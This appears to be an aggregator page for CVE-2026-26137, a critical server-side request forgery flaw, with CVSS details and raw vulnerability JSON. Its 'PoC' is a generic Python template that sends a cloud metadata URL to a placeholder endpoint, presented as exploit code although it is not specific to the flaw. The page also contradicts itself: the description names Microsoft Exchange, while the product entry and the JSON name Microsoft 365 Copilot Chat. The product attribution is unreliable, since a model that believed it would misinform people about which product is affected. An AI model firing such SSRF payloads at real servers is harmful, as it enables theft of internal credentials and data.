Security Vulnerability Report
中文
CVE-2026-26137 CVSS 9.9 CRITICAL

CVE-2026-26137

Published: 2026-03-19 21:17:08
Last Modified: 2026-03-27 23:17:12

Description

Server-side request forgery (ssrf) in Microsoft Exchange allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_copilot_chat:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Exchange Server (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-26137 # Target: Microsoft Exchange Server (Vulnerable Version) # Note: This is a generic template demonstrating the SSRF interaction. target_url = "https://<exchange-server>/vulnerable_endpoint" attacker_controlled_url = "http://169.254.169.254/latest/meta-data/" # Example internal resource headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Payload containing the internal URL to be accessed by the server payload = { "url": attacker_controlled_url, "property": "value" } try: response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Potential SSRF triggered!") print("[+] Server Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26137", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:08.050", "lastModified": "2026-03-27T23:17:12.473", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Exchange allows an authorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Falsificación de petición del lado del servidor (SSRF) en el Chat Empresarial de Microsoft 365 Copilot permite a un atacante autorizado elevar privilegios sobre una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_copilot_chat:-:*:*:*:*:*:*:*", "matchCriteriaId": "431CBC2E-E9C8-4A85-B619-F7782685F815"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26137", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}